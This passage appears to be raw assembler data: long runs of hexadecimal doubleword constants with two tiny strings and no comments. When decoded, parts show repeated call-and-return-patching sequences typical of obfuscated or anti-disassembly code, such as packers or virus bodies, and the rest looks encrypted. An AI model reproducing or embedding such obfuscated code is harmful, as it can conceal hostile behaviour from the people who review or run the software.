		dd 1D042444h, 47000000h, 703CC357h, 51861D3Bh, 0A4FDC047h
		dd 0C7F6B70Fh, 0CA95A501h, 56006A54h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0C8E4326h
		dd 181A0D4h, 1499CFCBh,	0C7F9B70Fh, 59690441h, 61BECE5Fh
		dd 810B6A6Ch, 0D7100441h, 6A31D6h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0F01F0AC3h, 48ED0D36h
		dd 6AFE2825h, 850F6000h, 6, 343D8D8Bh, 8D6106A9h, 0A9050185h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8E0FAECDh, 6, 1D65BD89h,	0E89006A9h, 11h
		dd 0CD776FCEh, 0F2C82B6Eh, 661F105Dh, 0F181D7F0h, 90505ECEh
		dd 2735BD8Bh, 95FF06A9h, 6A91289h, 1DCD9D89h, 8D8D06A9h
		dd 6A90501h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	81C35343h, 0B22E2AA4h, 8D899C2Bh, 6A92129h, 1C7h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8B3AD7C3h, 0A907B9B5h, 16CE8106h,	0C718A6FBh
		dd 441h, 8E90000h, 0A6000000h, 987BA58Bh, 0BD2A770h, 52840FC0h
		dd 60000000h, 0A1C555BAh, 0EDB58910h, 6106A911h, 4DC08D8Dh
		dd 6A06A9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 9D29E7C3h, 6A92321h, 5B8h, 0EE816600h, 0BE66FFE3h
		dd 0E1FFDADFh, 8E9h, 564EB200h,	52CCC97Fh, 0E9CA0337h
		dd 0FFFFF36Ah, 2D0C99BEh, 6AC18B14h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 3CBBC355h
		dd 64A5AA9Ch, 0BF402877h, 7ABD9365h, 4EBh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0C101E9C3h, 0D7E781E3h, 8D75F8E5h, 0A9053585h, 75B58906h
		dd 0FC06A91Ah, 0BEBF5090h, 9067B232h, 1E118589h, 0BF6606A9h
		dd 6A8EA8h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 15h,	2BC35545h, 8B006A59h, 0B7858DF1h, 6A06ACDAh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 8DBEC351h, 83475B96h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0BD8B5AC3h, 6A92C5Dh
		dd 29958D89h, 669006A9h, 50C9AEBEh, 13E8h, 8D54D900h, 0B4AAC5C4h
		dd 0D6196E3h, 99C157DEh, 1A3EF8DCh, 7E9h, 34D64400h, 0D36C2E7Ch
		dd 0EE9905Eh, 0B0000000h, 53AC1D99h, 3D6FB4F6h,	0FD7BE89Eh
		dd 31BD8BFDh, 6A06A909h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 4D8D2977h, 6A06A925h
		dd 18860F00h, 0F000000h, 1282h,	0CE800h, 7F5F0000h, 0D099CD58h
		dd 0CDCDC4D5h, 0FF5E2E3Ch, 0A92EA995h, 8B66F506h, 0DE9D8DFEh
		dd 0FF06AC98h, 0F253BED3h, 85FF016Bh, 6A9170Dh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0D0C35545h, 0FE10A15h
		dd 386h, 0F38B6600h, 7DAE9h, 0E800h, 815D0000h,	0ACDAC1EDh
		dd 6DBD8106h, 0D006A910h, 0F000007h, 19586h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 9BD0BB0h, 6606A911h,	8BB4CCBFh, 0A922B19Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 6F2C925Ah, 98DBD8Bh,	0E38106A9h, 100h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 0A0C35141h, 62563BD3h
		dd 0D7B731C2h, 0DB0BFCBEh, 0C7850Fh, 0FE90000h,	9B000000h
		dd 4595F2F0h, 34CDB5EFh, 4AB809EDh, 0BD83C1AEh,	6ACD92Dh
		dd 4A840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 6841C355h, 61C03B55h
		dd 6C289397h, 0AFE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0A580B0EAh, 2D85C782h
		dd 106ACD9h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 3A1BC353h, 15707605h
		dd 33EA24AAh, 0A90379B5h, 56E906h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 8AC75DC3h
		dd 1649984Ah, 2D85C769h, 6ACD9h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0BF30C350h
		dd 2D21B58Bh, 0BD8B06A9h, 6A91071h, 22B19D8Dh, 0BF6606A9h
		dd 2381C793h, 0FFFFFEFFh, 15CDB58Bh, 8C6606A9h,	0C2A2BFDBh
		dd 0BF667F74h, 0C3F6A2BCh, 4B840F04h, 0FF000000h, 0A913CD95h
		dd 0BE906h, 41FB0000h, 0F0D5B404h, 628F7FECh, 0BE941h
		dd 0A8690000h, 0B29A3A4h, 0C93DD0F1h, 0F18B9092h, 0BE525050h
		dd 34B01879h, 8D0F310Fh, 0
aZxrs		db 'ZX',0Ah,0
		align 4
		dd 8C8F4953h, 7B650AB1h, 0AEE9D958h, 66000003h,	0B0F88Bh
		dd 399B58Bh, 70E606A9h,	8003F681h, 0B58938C9h, 6A92931h
		dd 0B58B71E4h, 6A90FD1h, 6DCE8152h, 5E700607h, 0E8D8B60Fh
		dd 6, 4C48CE9Fh, 9D89D3F1h, 6A90439h, 11E95Eh, 0F0300000h
		dd 24DB26B1h, 0EC294AC5h, 0B93E826h, 0BAEF9D43h, 6, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 96C35545h, 27AF56FEh
		dd 2123AA8Ah, 0F1DFBF66h, 0B58BC38Bh, 6A9152Dh,	5104E8C1h
		dd 945B58Bh, 665F06A9h,	6AE2F7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 7A0C94C3h, 607BE347h
		dd 2CE99D29h, 0D98006A9h, 0D82B61A5h, 2695B52Bh, 669306A9h
		dd 50CA69BEh, 52ED1EBEh, 6660934Dh, 44ECE981h, 1F559D8Bh
		dd 0FF6106A9h, 0A9106DB5h, 0BDBD0B06h, 0FF06A924h, 0A92D9595h
		dd 10E906h, 0BFB10000h,	0A71D6213h, 587E1EB9h, 6C004A02h
		dd 0B08BDDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0FC35242h, 0F27E78CEh, 0B58B8663h, 6A908C5h, 8D2970E6h
		dd 6A91141h, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8BE191C3h, 0A93379B5h, 0F613C06h
		dd 24483h, 0F08B6600h, 6AD8B60Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0A14EC353h
		dd 6E94FFEh, 82000000h,	191F69C7h, 6BAE0h, 3DBF0000h, 8B386F25h
		dd 55006AC3h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0A46A3D63h, 5F1C6E5h, 0E8C1387Bh, 93BCBE04h
		dd 0F7662110h, 0D859BEE2h, 0D82B0DC6h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0E7C35545h,	58BB9530h, 68E0Fh
		dd 95890000h, 6A90FC1h,	880FD82Bh, 19Dh, 7B9F98Bh, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0DAA9C353h, 7A09Dh, 9589EB03h, 6A91D8Dh
		dd 8900C183h, 0A91225B5h, 0FD93B06h, 15C86h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 18C0BC9Eh, 1883C08Dh, 8C66B4B6h, 55006AD9h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0F3BF0F90h
		dd 0F04C1F6h, 0D484h, 31958900h, 0FF06A909h, 0A913CD95h
		dd 3D952906h, 8B06A92Dh, 0A9058DB5h, 6A5B06h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 8E6B8DC3h
		dd 999F5244h, 89C1C252h, 0A90D8995h, 6AC32B06h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 5B59C357h, 97ACC1C0h, 61C18F34h, 8343Dh, 5E860F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 6050C356h, 61F0BF0Fh, 70E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 1F0A13C7h, 13E9F0h, 0ADC90000h, 0C29B5CB4h, 47D48170h
		dd 468172ADh, 65D11226h, 6AC08BF0h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 1FCFC350h
		dd 4969592Fh, 0C9493535h, 1002EF81h, 8D8951E0h,	6A920B5h
		dd 28F78166h, 8BC38B0Eh, 0DF8166D8h, 0BE575002h, 38A7CA6Dh
		dd 7985C75Eh, 0D906A916h, 6A7FF49Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 29BC352h
		dd 0E9B58BBBh, 8B06A926h, 8D8D89C0h, 8106A91Dh,	0A9106DBDh
		dd 7D006h, 31850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0F721C356h,	0B58B6DACh
		dd 6A91681h, 106D85FFh,	0B58B06A9h, 6A90D29h, 106DB5FFh
		dd 0F38B06A9h, 2D9595FFh, 6A06A9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 60770CC3h, 0ED51CCB6h
		dd 0E99E16A4h, 5, 7B0BCB95h, 0F8B70FF6h, 0AE890h, 7BF0000h
		dd 0C794F209h, 0F0C17DBh, 52006A5Fh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 36EEC0C2h
		dd 852998E3h, 6A90495h,	0B5B58960h, 8B06A920h, 0A90221B5h
		dd 958B6006h, 6A93175h,	1E9D8D8Bh, 61F506A9h, 133D9529h
		dd 8B6106A9h, 53006AF3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0F6F9B438h, 14BEFDC2h, 10E95C11h
		dd 8B000000h, 0CA68A098h, 44ED00Ch, 84894FFBh, 6A4472EEh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0CAD3C356h, 0B58B4605h, 6A91FB5h,	0F2DB58Bh
		dd 0E96006A9h, 13h, 5FD3C473h, 0DEE9823Bh, 16BC149Bh, 4AF3D46h
		dd 8B815A0Ah, 0A9333585h, 7E906h, 20C40000h, 78D211D2h
		dd 6A6172h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0C246E5C3h, 0DE81BFADh, 3C16B2FCh, 3461BD8Bh
		dd 0BE906A9h, 58000000h, 100A1A2Ah, 0A9F794A2h,	46E93D40h
		dd 6AFFFFF8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 44D2C355h, 8BF83026h, 57006AC1h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0F4FD108Bh, 0B8881287h, 4EBh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 512019C3h
		dd 8D91A5D9h, 0AD8D893Fh, 0F06A92Eh, 1782h, 0BE800h, 86FE0000h
		dd 0C6F273FCh, 0CCCEDB80h, 0EDBD2BC9h, 5F06A922h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0D5C35545h, 454264AAh
		dd 535858Dh, 6A06A9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 8A82A2C3h, 22518589h, 0F9006A9h
		dd 88Bh, 52505600h, 585A310Fh, 13E8505Fh, 9B000000h, 22618524h
		dd 0F3BFD1ECh, 0D944EB15h, 0CE4BA12h, 8E9B5AAh,	50000000h
		dd 4A4E7E9Ch, 5F87E264h, 51006A90h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 3453160h, 0BE0F569Eh
		dd 39D5DC83h, 14BD8D89h, 6A06A9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 64C35545h, 5660B39Ah, 0FE9h
		dd 6DB21000h, 92EC3516h, 4F8A3AFEh, 60F2FD2Eh, 6A615Eh
		dd 0AE8h, 0E95C4200h, 0C0C34120h, 57D0CD99h, 82DE8166h
		dd 8D5F5F8Bh, 0ACE56585h, 81B58B06h, 6006A916h,	0CE9h
		dd 1F263D00h, 406E003Ch, 0EAC15688h, 8DBD890Fh,	6106A926h
		dd 6A05C083h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 447AC352h, 9413990Eh, 0B70FF6A6h
		dd 5BD8BF1h, 9006A90Eh,	78F59EBEh, 52505021h, 0CE9h, 0BFB66500h
		dd 6A01508Eh, 2F68ABF0h, 5A310F88h, 6A9058h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 601F64C3h
		dd 8166D18Bh, 619C0FF3h, 8529006Ah, 6A913D1h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0DF04A2C3h, 1EB576F0h, 0B58B15C2h, 6A91749h,	2EA995FFh
		dd 896006A9h, 0A914719Dh, 0FE906h, 50DA0000h, 316CB4FDh
		dd 1818739h, 9992A929h,	9D8D618Fh, 6AC98DEh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 50C35545h, 95EB6459h
		dd 85890DC4h, 6A91605h,	6830Fh,	9D310000h, 6A92539h, 0B58BD3FFh
		dd 6A92511h, 170D85FFh,	6A06A9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 8AFE62C3h, 0C2B1D42Bh
		dd 11FDB58Bh, 0B3E906A9h, 0E8000007h, 0
		dd 6FED815Dh, 0FC06ACE5h, 106DBD81h, 7D006A9h, 860F0000h
		dd 18Ch, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 16h,	52C35040h, 8B564F85h, 0A93461B5h, 9D8B5F06h, 6A91379h
		dd 81FB8B66h, 100E3h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0AAE3E856h, 0B52929C2h
		dd 6A90FFDh, 850FDB0Bh,	0EAh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 5C35242h, 0E2BDBD83h, 0F0006ACh
		dd 5184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0C3393525h, 0AE9F4B8h, 0BC000000h
		dd 23956881h, 1547D3Ah,	96E986h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 85C7B1C3h
		dd 6ACE2BDh, 1,	3E58D89h, 65E906A9h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 9635C350h, 492A51D3h, 60D6B0F0h, 11E8h, 905B8900h, 0F6B98F1Ch
		dd 28029682h, 0E46D4825h, 13E92E69h, 17000000h,	507A1729h
		dd 3FA587DDh, 426C8F29h, 0CCC53EFDh, 8B5F710Eh,	0A90DADBDh
		dd 85C76106h, 6ACE2BDh,	0
		dd 13799D8Dh, 0BF0F06A9h, 0FF2381F2h, 6AFFFFFEh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 6D02C356h, 0D1B81666h, 0FA8BD833h, 0E8DB8C66h, 0Bh
		dd 0AD10DBF2h, 0F6D7BFD5h, 89231420h, 0A910F595h, 0C3F65E06h
		dd 95840F04h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0A098C350h,	0D00CCA68h
		dd 4FFB044Eh, 0E919589h, 95FF06A9h, 6A913CDh, 6870Fh, 9D890000h
		dd 6A917B1h, 12BE6650h,	2404897Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0C8C35747h,	1C830Fh, 10E80000h
		dd 0C4000000h, 31400D5Bh, 0BB8CB9A5h, 2D2EFFEEh, 89633A61h
		dd 0A91789BDh, 0F565E06h, 68Ah,	8F0F00h, 5F000000h, 9894BF66h
		dd 336E9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1504h, 0C3504000h, 0B0F1B7h,	0E6F9BF0Fh, 53006A70h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 61BC75B7h, 0B58BADBBh, 6A91F49h, 0D0D8D89h, 71E406A9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7EC35242h
		dd 88FB2F51h, 3BE660Bh,	0D8B60F08h, 21ADBD03h, 6BA06A9h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0C976C357h, 0E9192B45h, 8, 275EFB15h
		dd 2D1F9DF3h, 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0B32699C3h, 8B5BC075h, 0A9325DB5h
		dd 4E8C106h, 13E8h, 21DD3200h, 0BE470FA1h, 0B723803Eh
		dd 91361C89h, 1DB882B8h, 6F4F46BEh, 0F7665E42h,	0D68166E2h
		dd 0D82BE082h, 0D0E68166h, 0BF665097h, 1C8936CAh, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F5440580h, 106DB5FFh, 0BF6606A9h, 95FF30C6h, 6A92D95h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BAC35343h
		dd 5E53D47Dh, 0B0BD1A0Fh, 70E6FC00h, 642BB2BEh,	6A71E47Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0D953C352h, 269C9847h, 10318589h,	613C06A9h
		dd 195830Fh, 85290000h,	6A92D89h, 0FD8B60Fh, 686h, 7DB58B00h
		dd 0BA06A935h, 6, 3545BD8Bh, 0C38B06A9h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 5AC35545h, 0B589606Eh
		dd 6A90489h, 4E8C161h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0F0C35646h, 0FC60C27Dh, 2D819D89h, 316106A9h
		dd 0A90EADB5h, 0E2F76606h, 109D9D89h, 0D82B06A9h, 48A0Fh
		dd 0BE660000h, 6658440Dh, 2B4450BFh, 0FC880FD8h, 0BF000000h
		dd 5614F092h, 7B9h, 81BD8B00h, 8306A909h, 6A00C1h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0B5237EC3h, 6A931B1h, 9E9h, 9DD6CF00h, 5241B44h, 0D93BE330h
		dd 0B1860Fh, 850F0000h,	0
aFmJ		db 'fj',0
		db 51h,	0E8h, 3
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 1EF2C351h, 0F04C1F6h, 8084h,	35BD2B00h, 0F06A925h, 95FFFFB7h
		dd 6A913CDh, 3315B531h,	665B06A9h, 2BAE31BEh, 53006AC3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 5CC84554h, 935F56Fh,	61595360h, 8343Dh, 32860F00h, 9000000h
		dd 0A92A7185h, 29E906h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 24407AC3h, 8BC16A88h
		dd 0A914D5B5h, 8BC08B06h, 81D88BC3h, 0DE7FB7E6h, 0B185C710h
		dd 0B706A922h, 8B35EA93h, 0A92671B5h, 6AC08B06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0E036C356h, 0E8273D0Eh, 2D598531h, 0BD8106A9h, 6A9106Dh
		dd 7D0h, 4A850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0AED07C3h, 0E853FDA9h
		dd 14h,	0D223ADFEh, 0EF8D41C2h,	9C30182Dh, 0A020025Eh
		dd 0E8159E20h, 220DB503h, 0FF5E06A9h, 0A9106D85h, 0FB8B6606h
		dd 106DB5FFh, 0FE906A9h, 15000000h, 0AF4668FCh,	0A08C7017h
		dd 0B294BF1Ch, 0BD8BB5A9h, 6A922F9h, 2D9595FFh,	0BE906A9h
		dd 0FA000000h, 0ED3571D8h, 0F8795140h, 6A90E0B5h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 410AC352h, 8D310B05h, 6A91CD1h, 25DDBD33h, 0D68106A9h
		dd 991A306h, 89FABF0Fh,	0A9107985h, 0AD8D8906h,	6A06A926h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 56E2C353h, 27F1B589h, 6AF906A9h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 177DC352h, 9D89ED6Eh, 6A91D55h, 0C29BD8Bh, 0BE6606A9h
		dd 6A3219h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 2DB35EC3h, 0E1931E14h, 0BF2D6632h, 100D77DBh
		dd 6AF6BF0Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 71D3C352h, 0E96F513Eh,	5, 8080E576h
		dd 0B58D89D5h, 8B06A916h, 0A93551BDh, 21B58B06h, 0E906A923h
		dd 0Ch,	250D7ECDh, 83CE71Bh, 5F9E8AE3h,	0E9F9BF0Fh, 0FFFFF87Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1DC35343h
		dd 99179E52h, 895BBE5Ah, 0A91D699Dh, 7EBE6606h,	0C18BF535h
		dd 0F798589h, 4EB06A9h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DFC35343h
		dd 0F7935437h, 50AA59DEh, 2595896Dh, 0E806A900h, 0Ch, 0A665D7C4h
		dd 0B981CF65h, 0A6C45860h, 8B5FF38Bh, 0A91749BDh, 35858D06h
		dd 6A06A905h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8B13C351h, 0A934F1BDh,	6D950906h
		dd 5006A904h, 489F88Bh,	81BD8B24h, 6A06A921h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 6AFC4FC8h, 0FAF97ADh, 681h, 61BD8B00h, 6A06A903h, 0F7816600h
		dd 858DCA36h, 6ACEF2Ch,	83F88B66h, 0D78105C0h, 0E059EADh
		dd 50525090h, 0E9310F52h, 0Ah, 81C8F031h, 0FA8654FCh, 585A4108h
		dd 6BF310Fh, 5A2D5F80h,	0BF665058h, 6A902480h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 18E6C350h, 0FCE8C9C3h, 0D83695CDh, 0CF68166h, 6A006ADAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 3070C353h, 8E9E2BA4h, 6A006AF9h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 67FCC355h, 0F5BD8BD6h, 0FF06A916h, 0A92EA995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0F2CE811Ch, 8926B636h, 0A92C899Dh, 0DE9D8D06h, 6A06AC98h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 1D7FC353h, 66013762h, 7384CF81h, 6AD3FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0FF0CDC3h, 88Ah, 0BD315700h,	6A91DADh, 68D0F5Fh, 8B000000h
		dd 0A90351BDh, 0D85FF06h, 8B06A917h, 0A912B5B5h, 7B6E906h
		dd 0E80000h, 5D000000h,	0EF36ED81h, 6A06ACh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0A74A23C3h
		dd 33F6816Ch, 81153744h, 0A9106DBDh, 7D006h, 67860F00h
		dd 0F000001h, 1585h, 10E900h, 0DD0000h,	2BC1F979h, 0ED2ADD05h
		dd 24D6B4AFh, 9D8B8556h, 6A92605h, 2A859D29h, 0E38106A9h
		dd 100h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 15h,	7AC35141h, 7E968h, 4CFA0000h, 2F31EA0Bh, 0FDB0BDBh
		dd 0A585h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 83AD7873h, 0ACED27BDh, 840F0006h
		dd 16h,	58A0Fh,	81660000h, 0E9E9E1F6h, 7Ah, 0F69B58Bh
		dd 85C706A9h, 6ACED27h,	1, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 9CC35242h, 4062DC1Bh,	19D897Ch, 0E906A90Eh
		dd 3Eh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h
		dd 42C35242h, 0E98950C6h, 5, 0F5E18CDFh, 0CF816617h, 85C7EB1Ah
		dd 6ACED27h, 0
		dd 2371B58Bh, 9D8D06A9h, 6A92605h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0C35040h, 0F0C91B17h, 0FF238130h
		dd 6AFFFFFEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0EABC352h, 68503F56h, 4C2ABF5Ah
		dd 8C665BE0h, 14E8DBh, 0DCF10000h, 2A23ED0h, 8BD844BCh
		dd 8EAF87A7h, 33AABAC0h, 12E8846Bh, 0
		dd 3F53509h, 7FD754Eh, 2C214ED7h, 4B32C424h, 1DE781C9h
		dd 5F5F001Fh, 4C3F65Fh,	57840Fh, 0B70F0000h, 0CD95FFF7h
		dd 6A06A913h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 9939C353h, 3B06E5E4h, 48C0F50h
		dd 66000000h, 894891BEh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 39789FC3h, 38FE928h
		dd 0B00000h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	18C35242h, 0E6E04E34h, 0E45F5370h, 0B60FFC71h
		dd 36050D8h, 0A932B985h, 19D8B06h, 6106A924h, 6BA5Fh, 0C38B0000h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 26C35747h
		dd 0E8C167C8h, 0E2F76604h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 4DC35242h, 0AC67E284h, 5E938D3Dh, 1F299D89h
		dd 8B6606A9h, 89D82BFEh, 0A91E11B5h, 0BF665006h, 1C894A18h
		dd 8D858924h, 106A929h,	0A9328D9Dh, 6DB5FF06h, 8906A910h
		dd 0A933718Dh, 9595FF06h, 6A06A92Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D7AFC357h
		dd 0B0A487A6h, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 668A25F2h, 0E6D7FEBEh
		dd 6A71E470h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 7E20C355h, 898736EAh, 0A91315BDh
		dd 0F613C06h, 25883h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 4359F9A1h, 8D890F2Bh
		dd 6A90019h, 66D8B60Fh,	0BA6C16BFh, 6, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0D2C35747h,	8B302644h, 0A91E19BDh
		dd 89C38B06h, 0A9053995h, 4E8C106h, 6E9h, 0E175DA00h, 6652C57Ch
		dd 9589E2F7h, 6A90025h,	0B58BD82Bh, 6A926E9h, 9D896060h
